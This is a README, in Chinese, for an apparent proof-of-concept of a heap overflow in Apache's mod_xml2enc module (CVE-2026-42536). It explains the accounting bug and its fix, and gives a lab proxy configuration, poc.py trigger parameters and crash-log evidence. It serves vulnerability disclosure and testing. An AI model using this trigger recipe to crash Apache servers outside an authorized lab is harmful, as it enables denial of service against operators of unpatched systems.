mod_xml2enc 堆溢出 PoC本仓库包含 CVE-2026-42536 的受控概念验证,这是 Apache HTTP Server 的 mod_xml2enc 模块中基于堆的越界写入漏洞。Apache HTTP Server 2.4.0 至 2.4.67 版本受影响;2.4.68 版本包含上游修复。
所演示的结果是内存损坏,随后导致 Apache 工作进程崩溃。重复触发可导致拒绝服务。此 PoC 不演示远程代码执行、权限提升或反向 shell。
此 PoC 会故意发送可能导致 Apache 工作进程崩溃的内容。请仅在您拥有或明确授权测试的一次性隔离环境中运行它。不要将其指向生产系统或第三方系统。
该脚本默认仅允许回环操作。远程操作需要显式的 --allow-remote 标志,但该标志不能替代授权。
xml2StartParse 可以指示 mod_xml2enc 跳过配置的起始元素之前的字节。在 Apache HTTP Server 2.4.67 中,fix_skipto() 会推进输出缓冲区指针并减少有效数据量,但不会按相同偏移量减少输出容量:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
因此,后续的字符集转换接收到的容量是按原始分配计算的,尽管 ctx->buf 现在指向该分配内部的某个位置。该 PoC 通过组合以下内容使这种不匹配可被观察到:
xml2StartParse html 跳过的 2,048 字节前缀。charset=windows-1252 的 Content-Type。0x80,它会从一个 CP1252 字节扩展为欧元符号的三字节 UTF-8 编码。扩展转换会消耗过时的容量,并可能写入超出推进后指针实际剩余空间的位置。
Apache 2.4.68 通过从 ctx->bblen 中减去跳过的偏移量来修复该记账错误:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
该 PoC 使用两个 HTTP 组件:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache 必须加载以下模块:
filter
proxy
proxy_http
xml2enc
仅在隔离的 Apache 2.4.67 或更早版本的实验环境中使用以下配置:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
默认配置期望 poc.py 与 Apache 运行在同一主机或容器网络命名空间中。端口 18081 是载荷后端;请求必须发送到端口 18080 上经过过滤的 Apache 路由。
启动存在漏洞的 Apache 实例,然后从同一一次性主机或容器运行该 PoC:
python3 poc.py
默认值等效于:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
对于双机授权实验环境,使载荷后端可从 Apache 访问,并更新 ProxyPass/ProxyPassReverse 以使用攻击者的实验环境 IP。然后绑定后端并显式指定实验环境 Apache 地址:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
不要将后端端口暴露到隔离测试网络之外。
在运行 PoC 时监控 Apache。根据构建版本和进程管理器,当父进程替换崩溃的工作进程时,客户端请求可能会失败、重置或返回部分数据。
来自所测试的存在漏洞的构建版本的典型证据包括:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
在由 systemd 管理的安装中:
sudo journalctl -u apache2 -f
对于前台 Docker 容器:
docker logs -f CONTAINER_NAME
工作进程 PID 的频繁变动可以提供额外的信号:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
仅传输失败并不能证明存在该漏洞。请在 Apache 错误日志、系统日志、sanitizer 输出或核心转储中确认崩溃。
使用相同的模块和虚拟主机配置,对 Apache HTTP Server 2.4.68 重复相同的请求。载荷后端仍应收到该请求,但 Apache 工作进程应保持存活,因为输出容量会随推进后的指针一起减少。
如果父进程未自动替换工作进程,请仅重启一次性实验环境服务:
sudo systemctl restart apache2
或重启一次性容器:
docker restart CONTAINER_NAME